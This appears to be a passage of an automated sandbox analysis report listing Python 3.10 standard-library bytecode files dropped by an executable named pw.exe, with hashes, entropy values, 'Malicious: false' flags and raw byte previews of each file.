SSDEEP:	768:g5YArct40pztzQUB04z2GYcJFSd6tmG7a4L+P9cLjYp:w1Y4GzbB04zBYGFU6F7a4aPuL8p
MD5:	86DC5BAC93631572FCD8E5F4B55CED5C
SHA1:	6CC7E6AD597F650BE6EF334189ED30700185918B
SHA-256:	B7441631DF2A614759CEA27C0CEB101E06B17BA3C444E7F80C64C9510A678F4B
SHA-512:	968FA4ABB77FC532F44B87CB7BB15E2A1580F1C64E94339C7CCBFDB9E16EE20F297BD4C7DBCD0421F93DB6BA289A0A33B5D9AB75CC0B7A6A11546F3A23F40E83
Malicious:	false
Preview:	o.........Sg.8.......................@...sF"..d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.z.d.d.l.T.W.n%..e.yW......d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.d...Z...d.d.d...Z.Y.n.w.d.e...v.r_e.Z.d.e...v.rfe.Z.e.Z.i.Z.e.. e...d.d.....Z.d.d...Z!..d.d.d...Z"d.d...Z#e..$d...Z%..d.d d!..Z&..d.d"d#..Z'..d.d$d%..Z(..d.d&d'..Z)..d.d)d..Zd+d,..Z.d-d...Z+..d.d/d0..Z,e-f.d1d2..Z.d3d4..Z/d5d6..Z0e.Z1d7d8..Z2d9d:..Z3d;d<..Z4d=d>..Z5d?d@..Z6..d.dBdC..Z7e.f.dDdE..Z8..d.dFd...Z.e.f.dGdH..Z9z.d.dIl.m:Z:..W.n...e...y.......dJdK..Z:Y.n.w.z.e;..W.n...e<..y.........d.dLdM..Z=Y.n.w...d.dNdM..Z=i.dOdP..dQdP..dRdS..dTdU..dVdU..dWdX..dYdZ..d[d\..d]d^..d_d`..dadS..dbdc..ddde..dfdg..dhdS..didS..djdS..i.dkdl..dmdn..dodp..dqdr..dsdg..dtdu..dvdc..dwdx..dydz..d{de..d\|d}..d~d...d.d...d.d...d.dU..d.d...d.d.....dXd.d.d.d.d.d.d\d^d`d.....Z>e?e>.@....D.].\.ZAZBeA.Cd.d...ZAe>.DeAeB......q.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...

C:\recover\pw\Lib\pycache\lzma.cpython-310.pyc.33483296

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12098
Entropy (8bit):	5.374442981898098
Encrypted:	false
SSDEEP:	192:l+KxmpkRLMC//oP1eHyszdKXnoGwKjwmAKa09hs4Nr:bmo2eHtgNAKl9hs45
MD5:	813104AC02E9801B24D83F7CD88E0D26
SHA1:	0E1B565E38F47A2B614996CDD257FD02601B4952
SHA-256:	686F85135213AA434303459F1BBB562E34AD961B49962426D14D4318A8601BDB
SHA-512:	0EE4564DEBF0E6DB44D2C55099A6825FAFA1E8BFED434E6A66D6265338832E381464D0059236D3F1081447E52E3DEA4094082E13E2205B4AF346FBB24448B446
Malicious:	false
Preview:	o.........SgA5.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.S.).aS...Interface to the liblzma compression library...This module provides a class for reading and writing compressed files,.classes for incremental (de)compression, and convenience functions for.one-shot (de)compression...These classes and functions support both the XZ and legacy LZMA.container formats, as well as raw compressed data streams..)$Z.CHECK_NONEZ.CHECK_CRC32Z.CHECK_CRC64Z.CHECK_SHA256Z.CHECK_ID_MAXZ.CHECK_UNKNOWNZ.FILTER_LZMA1Z.FILTER_LZMA2Z.FILTER_DELTAZ.FILTER_X86Z.FILTER_IA64Z.FILTER_ARMZ.FILTER_ARMTHUMBZ.FILTER_POWERPCZ.FILTER_SPARC..FORMAT_AUTO..FORMAT_XZZ.FORMAT_ALONEZ.FORMAT_RAWZ.MF_HC3Z.MF_HC4Z.MF_BT2Z.MF_BT3Z.MF_BT4Z.MODE_FASTZ.MODE_NORMALZ.PRESET_DEFAULTZ.PRESET_EXTREME..LZMACompressor..LZMADecompressor..LZMAFile..LZMAError..open..compress..decompressZ.is_c

C:\recover\pw\Lib\pycache\mimetypes.cpython-310.pyc.40061872

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17617
Entropy (8bit):	5.672581933135159
Encrypted:	false
SSDEEP:	384:eoMcSuUoeg6rHVMN9yByEWG6D+nTF+jZjB77gMZR0:eNzgWMEWp4+jZjzZR0
MD5:	4884B36FD064A8026C7A3B1F8F6C688A
SHA1:	62DBB60827472EF1128D359545C4349B5A479D1E
SHA-256:	D561D90C1BC438B0226DA3FD9ACC6F0E22612E23185EBC6ACA66687B89D762EE
SHA-512:	66302F58B4D3B57B99621C722085693FC7554E892E25E377E804ABDB74EA9050CF45D02C42E9AB52B2635F1BD280AFC0929C0A4F493F8C1955853C8199C9980E
Malicious:	false
Preview:	o.........Sg.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y%......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.y7......d.Z.Y.n.w.g.d...Z.g.d...Z.d.a.d.a.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.e.....d.d...Z.e.d.k.r\|e.....d.S.d.S.).a....Guess the MIME type of a file...This module defines two useful functions:..guess_type(url, strict=True) -- guess the MIME type and encoding of a URL...guess_extension(type, strict=True) -- guess the extension for a given MIME type...It also contains the following, for tuning the behavior:..Data:..knownfiles -- list of files to parse.inited -- flag set when init() has been called.suffix_map -- dictionary mapping suffixes to suffixes.encodings_map -- dictionary mapping suffixes to encodings.types_map -- dictionary mapping suffixes to types..Functions:..init([files]) -- parse a list of files, default knownfiles (on Windows, the. default values are taken from the registry).read_mime_types(

C:\recover\pw\Lib\pycache\ntpath.cpython-310.pyc.29823488

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15301
Entropy (8bit):	5.429073009362354
Encrypted:	false
SSDEEP:	384:/7Fr8V5t+X9xyFga+mDB8s+qHe65jZBCrF++umt:Bra/WkFga+mDGs+hsZwrF++umt
MD5:	6D021050D51E2A96268DB23272EA46A3
SHA1:	26CCE94E888A0257DB0E5223460D76AA9D6442CD
SHA-256:	67EC1240A0626ADB3F7FC662F3B42F07B0671BC90153977EBDC1541A949318AA
SHA-512:	E31FD3ED303984D7A77BF845F6F93C9F53D5137AEDD3DC974B494B925E89D636EB65D26547EEDCA0E5E81115711C8B836F10A52A33B7573D8B92657C29074077
Malicious:	false
Preview:	o.........Sgov.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.z.d.d.l.m.Z.m.Z.m.Z...d.d...Z.W.n...e.yK......d.d...Z.Y.n.w.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d d!..Z d"d#..Z!z.d.d$l"m#Z#..W.n...e.y.......d.Z#Y.n.w.d%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(z.d.d/l"m)Z)..W.n...e.y.......e(ZY.n.w.d0d1..Zz.d.d2l"m+Z+m,Z-..W.n...e.y.......eZ.Y.n.w.d3d4..Z/d5d6..Z0d7d8..d9d:..Z.e1e.d;..o.e..2..d<..d=k.Z3dCd>d?..Z4d@dA..Z5z.d.dBl"m6Z7..W.d.S...e...y.......Y.d.S.w.)Dz.Common pathname manipulations, WindowsNT/95 version...Instead of importing this module directly, import os and refer to this.module as os.path...........\..;../z..;C:\binZ.nul.....N)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirnameZ.commonprefixZ.getsizeZ.getmtimeZ.getatimeZ.getctime..islink..exists..lexists..isdir..isfile..ismount..expanduser..expandvars..normpath..abspath..curdir..pardir..sep..p

C:\recover\pw\Lib\pycache\nturl2path.cpython-310.pyc.65674104

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	5.510854607310153
Encrypted:	false
SSDEEP:	48:c5kKoXsYZMmrK2E0p8ItqhhhUIuoLpP0I2GIikGmObMn:chov2ZOqhDaodpkwbMn
MD5:	43F4CBEB3E6265AABB35190A1FF3A1D9
SHA1:	E34815EDFD55C282BC82A65F2820248EC337340A
SHA-256:	3BCD4629AF5C735E3D00B59C38069B1AE9B01BB1694C741E003A4F34D74C3E3A
SHA-512:	1FBD0242A401890D348947973270978446DA358C8DB4D52FCDD174E0F63F75CF406EF3B01BC0BC13E018326568A447B0BE9C113E894AB310493D35C4A0BF2C60
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d...Z.d.d...Z.d.S.).z.Convert a NT pathname to a file URL and vice versa...This module only exists to provide OS-specific code.for urllib.requests, thus do not use directly..c....................C...s....d.d.l.}.d.d.l.}.\|...d.d...}.d.\|.v.r.\|.d.d.....d.k.r \|.d.d.....}.\|...d...}.\|.j...d...\|.....S.\|...d...}.t.\|...d.k.sB\|.d...d...\|.j.v.rJd.\|...}.t.\|.....\|.d...d.......}.\|.d.....d...}.\|.d...}.\|.D.].}.\|.rm\|.d...\|.j...\|.....}.q_\|...d...r\|\|...d...r\|\|.d.7.}.\|.S.).z{OS-specific conversion from a relative URL of the 'file' scheme. to a file system path; not recommended for general use......N..:..\|.....z.////......./..\.....z.Bad URL: .....)...string..urllib.parse..replace..split..parse..unquote..join..len..ascii_letters..OSError..upper..endswith)...urlr......urllib..components..comp..error..drive..path..r......C:\recover\pw\lib\nturl2path.py..url2pathname....s*.............................................r....c....................C...s0...d.d.

C:\recover\pw\Lib\pycache\opcode.cpython-310.pyc.75605120

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5445
Entropy (8bit):	5.640418895865469
Encrypted:	false
SSDEEP:	96:csgyb2Y4AiIw0UEDJdWzlNA/DFi1foNC3SdGCDO1WnOhf:kySYRRDXlk1fb3H3WnOhf
MD5:	3DB03EBBFD96F51CE341BC5A18DDAAC6
SHA1:	70573AE38C2537DEA15B5115CA9B075DCA99065C
SHA-256:	381746B880A39DE760617996C29600AFB6A0CE88C3A44E04F67A42F053907CEE
SHA-512:	A561B36B68CCC8AC4604DA9951CF7959CC9F25DDD497A16DDE65480C21426CB38126E59B4BAB41DEFA83359CD8C874B1D9F4DBD519B8F9B69A969B92E9AECCED
Malicious:	false
Preview:	o.........Sg.........................@...s"...d.Z.g.d...Z.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.i.Z.d.d...e.d...D...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d ....e.d!d"....e.d#d$....e.d%d&....e.d'd(....e.d)d*....e.d+d,....e.d-d.....e.d/d0....e.d1d2....e.d3d4....e.d5d6....e.d7d8....e.d9d:....e.d;d<....e.d=d>....e.d?d@....e.dAdB....e.dCdD....e.dEdF....e.dGdH....e.dIdJ....e.dKdL....e.dMdN....e.dOdP....e.dQdR....e.dSdT....e.dUdV....e.dWdX....e.dYdZ....e.d[d\....e.d]d^....e.d_d`....e.dadb....e.dcdd....e.dedf....e.dgdh....e.didj....e.dkdl....e.dmdn....e.dodp....e.dqdr....e.dsdt....e.dudv....e.dwdx....e.dydz....e.d{d\|....e.d}d~....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....d.Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e...d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.

C:\recover\pw\Lib\pycache\operator.cpython-310.pyc.32046000

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13506
Entropy (8bit):	4.840938422475194
Encrypted:	false
SSDEEP:	192:m25I4L+HMe0C1/u2/DqnsvQgZ2CsiIKoVkDq01iYL5ADAzi8Lq4UZfm:15reTs2rwejZ2CoKo4iY9cA+8LAfm
MD5:	49EBFAEAD4242F36574E202FC178B466
SHA1:	030A972A107D1B99B2AA8EEE57D11EB2E67C7BA7
SHA-256:	12B98EE04A3B5E2DD6E1A6B671DD5390FEA6AB314DB896C366229A482CE6540A
SHA-512:	29B5D1578BB1EE14820D8410C6BF4153ED00CDA0EC7AB2D2A00C9A855022989EDD4E089BD5E3626D919DF070A0B7FA3B3B738B30D5DDA9F1A214B12287E7ACF0
Malicious:	false
Preview:	o.........Sg.+.......................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.e.Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z.d4d5..Z.d6d7..Z.d8d9..Z.d:d;..Z d<d=..Z!d>d?..Z"d@dA..Z#dBdC..Z$dDdE..Z%dFdG..Z&dHdI..Z'dqdJdK..Z(G.dLdM..dM..Z)G.dNdO..dO..ZG.dPdQ..dQ..Z+dRdS..Z,dTdU..Z-dVdW..Z.dXdY..Z/dZd[..Z0d\d]..Z1d^d_..Z2d`da..Z3dbdc..Z4ddde..Z5dfdg..Z6dhdi..Z7djdk..Z8dldm..Z9z.d.dnl:T.W.n...e;y.......Y.n.w.d.dol:m.Z...e.Z<e.Z=e.Z>e.Z?e.Z@e.ZAe.ZBe.ZCe.ZDe.ZEe.ZFe.ZGe.ZHe.ZIe.ZJe.ZKe.ZLe.ZMe.ZNe.ZOe.ZPe.ZQe.ZRe.ZSe.ZTe ZUe!ZVe"ZWe$ZXe%ZYe'ZZe,Z[e-Z\e.Z]e/Z^e0Z_e1Z`e2Zae3Zbe4Zce5Zde6Zee7Zfe8Zge9ZhdpS.)ras....Operator Interface..This module exports a set of functions corresponding to the intrinsic.operators of Python. For example, operator.add(x, y) is equivalent.to the expression x+y. The function names are those used for special.methods; variants

C:\recover\pw\Lib\pycache\os.cpython-310.pyc.23166112

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	31597
Entropy (8bit):	5.450501084537042
Encrypted:	false
SSDEEP:	768:+Zz481oaK+W0l85fOHqjQmZxhVQIuA5+LBL3L8LOULOLwvLdLtg4aE2aYiZ9:QbK+WHaKQmZBw2LN2Y
MD5:	9D22EBEAC5E1FAE71C9CCABA6A7EDCDE
SHA1:	9F04DA3AA5AFD80E6C4D7B7047F6607679F80B6A
SHA-256:	0ECF25943498F073C05EB2C85E220476DA1F4EDB7E37E10DD3883CB5D3D2ADAB
SHA-512:	E72ADE2B9B50145C29AC976A89A74B314ED2EDC2E9C1FC294B2A2492501C6B280F2CA6E85B561DB55BB544187F24B368F7BEEFB293B2E85E23B56A82D819CBEF
Malicious:	false
Preview:	o.........Sg........................@...sh...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.e.....Z.e.j.Z.g.d...Z.d.d...Z.d.d...Z.d.e.v.rod.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.yK......Y.n.w.d.d.l.Z.z.d.d.l.m.Z...W.n...e.ya......Y.n.w.d.d.l.Z.e...e.e.......[.nId.e.v.r.d.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.d.l.Z.d.d.l.Z.e...e.e.......[.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.d.....e.e.j.d.<.d.d.l.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..[.e.d.....r.e&..Z'd.d...Z(e)..Ze(d.d.....e(d.d.....e(d.d.....e(d.d.....e(d.d ....e(d!d"....e(d#d$....e(d%d&....e(d'd(....e(d)d....e(d+d,....e(d-d.....e(d/d0....e(d1d2....e(d1d3....e(d4d ....eZ+e)..Ze(d.d.....eZ,e)..Ze(d5d6....e(d7d.....e(d8d.....e(d9d:....e(d9d;....e(d<d=....e.-e.....e(d>d?....e(d@d ....e(dAd ....e(dBdC....e.dD....r.e.dE....r.e(dFdD....eZ.e)..Ze(d.d.....e(d.d.....e(d.d.....e(dGdH....e(dId.....e.dJ....r.e(dKd.....e(d!d"....e(dLd ....e(dMd.....e(d.d.....e(d4d ....e(dNd.....eZ/[*[.['[(d.Z0dOZ1dPZ2d.dSdT..Z3

C:\recover\pw\Lib\pycache\pathlib.cpython-310.pyc.65419648

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	42050
Entropy (8bit):	5.237364133251991
Encrypted:	false
SSDEEP:	768:maHqwOW28a8BgsMwiT3iWOhVECkoB3RDwgU46Jr8Dybx4eCIUmbPHbI2f6V0LWpn:3KwOW2QLMweUhVECkoB3REz4uPx8IUCQ
MD5:	12A19BAAAEBBD94D3DDEA4975ECD4F90
SHA1:	FE79CBB9EC2672A463BF193782FC0AF51CA3F1E7
SHA-256:	9D089C1CB08E169069351F441953D9C927FF46BE9F2DD251534D6FBA8F66D0FC
SHA-512:	981FF7A54D591CCFA829D41273E701597DE2E7244EB70F6073DCF6EA1DC5A24CF9EDA266B16265FAFC8FAFA7E15C6EFEAD288D6FDF74611912D423D4B6986F5E
Malicious:	false
Preview:	o.........Sg\........................@...s4...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z d.Z!e.e.e.e.f.Z"e.e e!f.Z#d.d...Z$d.d...Z%G.d.d...d.e&..Z'G.d.d...d.e'..Z(G.d.d...d.e'..Z)e(..Ze)..Z+G.d.d...d...Z,G.d.d...d.e,..Z-e-..Z.d.d...Z/e0e.d...r.e..1..e/..Z/G.d.d...d...Z2G.d.d...d...Z3G.d d!..d!e2..Z4G.d"d#..d#e2..Z5G.d$d%..d%e2..Z6G.d&d'..d'e...Z7G.d(d)..d)e&..Z8e.j9.:e8....G.dd+..d+e8..Z;G.d,d-..d-e8..Z<G.d.d/..d/e8..Z=G.d0d1..d1e=e;..Z>G.d2d3..d3e=e<..Z?d.S.)4.....N)...Sequence)...EINVAL..ENOENT..ENOTDIR..EBADF..ELOOP)...attrgetter)...S_ISDIR..S_ISLNK..S_ISREG..S_ISSOCK..S_ISBLK..S_ISCHR..S_ISFIFO)...quote_from_bytes)...PurePath..PurePosixPath..PureWindowsPath..Path..PosixPath..WindowsPath......{...i....c....................C...s ...t.\|.d.d...t.v.p.t.\|.d.d...t.v.S.).N..errno..winerror)...getattr.._IGNORED_ERROS.._IGNORED_WINERRORS)...except

C:\recover\pw\Lib\pycache\platform.cpython-310.pyc.75840672

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	27427
Entropy (8bit):	5.588906302998172
Encrypted:	false
SSDEEP:	768:XBqj93Ho+Dvz6WYt08jHUgRyRj4/ISTvI9nI6xk4laOXN4Ww:XB093oEbq089oRjnuunI6xs64F
MD5:	68282BDDB4D50B9BEDB53143D650B8BB
SHA1:	E8F42F3E77E954C2F98562A7D9AACF2EB640FF04
SHA-256:	1C05A3F2F0BFE9A351B100B0409D5E8F6EFBE262CE1A440AD7A69F058D27B33C
SHA-512:	AB19C94E65565406EA516AF21732764F0C07CFC5DE9FD8B382AE5985007A0F7A42BE758F83F3A0BDD331A1DCCFE55FF5431D1F63715286F450FED93BE9C29EEB
Malicious:	false
Preview:	o.........SgH........................@...s....d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.d.d.d.d.d.d.d.d.d...Z.e...d...Z.d.d...Z.e...d.e.j...Z.d.d.d...Z.d.d.d...Z.e...d...Z.....d.d.d...Z.d.d.d.d.d.d.d d!d"d#d$d%..Z.d.d&d'd(d)dd+..Z.d,d-..Z.d.d/..Z.d.d0d1..Z.d2d3..Z.d.d5d6..Z.d7d8..Z.d.d9d:..Z.d;d<..Z.d=d>..Z.d.d?d@..Z.dAdB..Z d.dCdD..Z!dEdFdGd...Z"e.j#d.d.f.dHdI..Z$dJdK..Z%G.dLdM..dM..Z&dNdO..Z'G.dPdQ..dQe..(dRdS....Z)d.adTdU..Z+dVdW..Z,dXdY..Z-dZd[..Z.d\d]..Z/d^d_..Z0d`da..Z1e...dbe.j...Z2e...dce.j...Z3e...dd..Z4e...de..Z5i.Z6d.dfdg..Z7dhdi..Z8djdk..Z9dldm..Z:dndo..Z;dpdq..Z<drds..Z=dtdu..Z>i.Z?d.dvdw..Z@e...dx..ZAe...dy..ZBdzZCd.aDd{d\|..ZEd}d~..ZFeGd.k...rjd.e.jHv...pPd.e.jHv.ZId.e.jHv...o[d.e.jHv.ZJeKe@eJeI......e..Ld.....d.S.d.S.).a8... This module tries to retrieve as much platform-identifying data as. possible. It makes this information available via function APIs... If called from the command line, it prints the platform. information conca

C:\recover\pw\Lib\pycache\posixpath.cpython-310.pyc.33482496

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10528
Entropy (8bit):	5.326633088725011
Encrypted:	false
SSDEEP:	192:zhb0oiSyslc6Yc5JJ0kMz8g1T37oRLtr12mm1un0TMatlAnEZC:zhGSLlTYc5JJ5RLtrsdy0oazKEZC
MD5:	3569C62E8E7CA2BDA7F51E5660B9C7B2
SHA1:	2864E863F4851E38BFEFE1F43704905482544242
SHA-256:	1060AB427956613982BEA89DF9F6FDA16AE26BC1FC25803AEF7DC473F466EFC5
SHA-512:	2E8213FE2862CE74D96DE10733B20D66FBBC9F40E250F1E5B1F123B163FF4B08C7D0FC9F903BA1B03752F2907A7B97A0E050471A962C5394EE9B3E82C6629297
Malicious:	false
Preview:	o.........Sg.A.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.a.d.a.d%d&..Z.d'd(..Z.d)d..Z d+d,..d-d...Z!d/d0..Z"e.j#d1k.Z$d6d2d3..Z%d4d5..Z&d.S.)7a....Common operations on Posix pathnames...Instead of importing this module directly, import os and refer to.this module as os.path. The "os.path" name is an alias for this.module on Posix systems; on other systems (e.g. Windows),.os.path provides the same operations in a manner specific to that.platform, and is an alias to another module (e.g. ntpath)...Some of this can actually be useful on non-Posix systems too, e.g..for manipulation of the pathname component of URLs.........../..:z./bin:/usr/binNz./dev/null.....)...)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirname..commonprefix..getsize..getmtime..getatime..getctime..islink..exis

C:\recover\pw\Lib\pycache\queue.cpython-310.pyc.40060432

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10790
Entropy (8bit):	5.074544806912584
Encrypted:	false
SSDEEP:	192:Tu+pM4UfRWdufeC/PBbEy6LWf1eR/i9Z6/cWyfmrAX/I8:q+pM/Qdufd/PBbEy6LWdeo9s/PyfmrCP
MD5:	AF3A0DB06FAFC3B810A70437220FCE23
SHA1:	723A92C61C84D57F9DD85A8F961E09BA4B964A07
SHA-256:	23B64798AB0B2109BFEE2BC9318ED83C8E2851701BC6160C2AC7EA5BDDFA3BB8
SHA-512:	424DF2688169F6EB2F2EC5E73AD4C04B08A43352D5F2B272742306BCD4E8938D0BFC591F5593C342E5C903C34A7790E4F2C32F15D4861C53213A63F02AE0F140
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y1......d.Z.Y.n.w.g.d...Z.z.d.d.l.m.Z...W.n...e.yO......G.d.d...d.e...Z.Y.n.w.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.e.d.u.r~e.Z.d.S.d.S.).z'A multi-producer, multi-consumer queue......N)...deque)...heappush..heappop)...monotonic)...SimpleQueue)...Empty..Full..Queue..PriorityQueue..LifoQueuer....).r....c....................@........e.Z.d.Z.d.Z.d.S.).r....z4Exception raised by Queue.get(block=0)/get_nowait().N....__name__..__module__..__qualname__..__doc__..r....r......C:\recover\pw\lib\queue.pyr...................r....c....................@...r....).r....z4Exception raised by Queue.put(block=0)/put_nowait().Nr....r....r....r....r....r........r....r....c....................@...s....e.Z.d.Z.d.Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d"d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.e.e.j...Z.d.S.)

C:\recover\pw\Lib\pycache\quopri.cpython-310.pyc.38640160

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5792
Entropy (8bit):	5.444912241059813
Encrypted:	false
SSDEEP:	96:MPp0xXxswv10E62XWFP0nf5nizGJFNYTBTO7u10IbJJs5WkbtL4FRJpGyd/8tzOR:gqrswv2UGmxMGb+rIWkOFldkS
MD5:	D305A7AC93468AA8F9A5761330697BBF
SHA1:	A04680E9B0B5B3130D04EBC592F4BC89649F3E1B
SHA-256:	3EF32085674B3F166290CE7C08915333693516482100A004BE762ECE83CEC0DB
SHA-512:	29C5EC2CC7F4B385A0C3FE6852952D86902580F41F3EF2D909937F472BA19A50A22F7D5C14C12283168B09743D46410CEE06CA5F5F634450CC592F76617D02E0
Malicious:	false
Preview:	o.........SgV........................@...s....d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.z.d.d.l.m.Z.m.Z...W.n...e.y%......d.Z.d.Z.Y.n.w.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.rWe.....d.S.d.S.).zHConversions to/from quoted-printable transport encoding as per RFC 1521.)...encode..decode..encodestring..decodestring.....=.L...s....0123456789ABCDEF..........)...a2b_qp..b2a_qpNc....................C...sH...t.\|.t...s.J...\|.d.v.r.\|.S.\|.d.k.r.\|.S.\|.t.k.p#d.\|.....k.o d.k.n.......S.).z.Decide whether a particular byte ordinal needs to be quoted... The 'quotetabs' flag indicates whether embedded tabs and spaces should be. quoted. Note that line-ending tabs and spaces are always encoded, as per. RFC 1521.. ..... ......_..... .....~)...isinstance..bytes..ESCAPE)...c..quotetabs..header..r......C:\recover\pw\lib\quopri.py..needsquoting....s..............".r....c....................C...sB...t.\|.t...r.t.\|...d.k.s.J...t.\|...}.t.t.t.\|.d.....t.\|.d.....f.....S.)

C:\recover\pw\Lib\pycache\random.cpython-310.pyc.38640480

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	22746
Entropy (8bit):	5.435147635889515
Encrypted:	false
SSDEEP:	384:4151Eqqa10rwieniMSkFVjhfFKoTWGtCX2v1b2+/ngCbWQhkcqHVG:4zJyKniKTZCX25/1bWbcaVG
MD5:	F905F8921BB787568FD24B8803AFD988
SHA1:	987B8BEFF26AF34A5627BCECE543A0DE9F5A2838
SHA-256:	489BDDCABE810B5B4AC86BE3DE5FFE80AE222F41D40B17E55DA8D0D2E859379A
SHA-512:	0C126BCA211052CD95D9069E58701758F4874746EB415C1CD8B2D807899A8F5E19FD4EAC8FAEF6294BB0087CB2DA6589C4CDC2781A1BAB93B778E18C7082CB9B
Malicious:	false
Preview:	o.........Sgg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z"m#Z$..d.d.l%m&Z'..d.d.l(m)Z*m+Z,..d.d.l-m-Z...d.d.l.Z/d.d.l0Z0z.d.d.l1m2Z1..W.n...e3ym......d.d.l4m2Z1..Y.n.w.g.d...Z5d.e.d.....e.d.....Z6e.d...Z7d.e.d.....Z8d.Z9d.e9....Z:d.Z;G.d.d...d.e0j<..Z<G.d.d...d.e<..Z=e<..Z>e>j?Z?e>j@Z@e>jAZAe>jBZBe>jCZCe>jDZDe>jEZEe>jFZFe>jGZGe>jHZHe>jIZIe>jJZJe>jKZKe>jLZLe>jMZMe>jNZNe>jOZOe>jPZPe>jQZQe>jRZRe>jSZSe>jTZTe>jUZUd.d...ZVd#d.d...ZWeXe/d ..r.e/jYe>j?d!....eZd"k...r.eW....d.S.d.S.)$a....Random variable generators... bytes. -----. uniform bytes (values between 0 and 255).. integers. --------. uniform within range.. sequences. ---------. pick random element. pick random sample. pick weighted 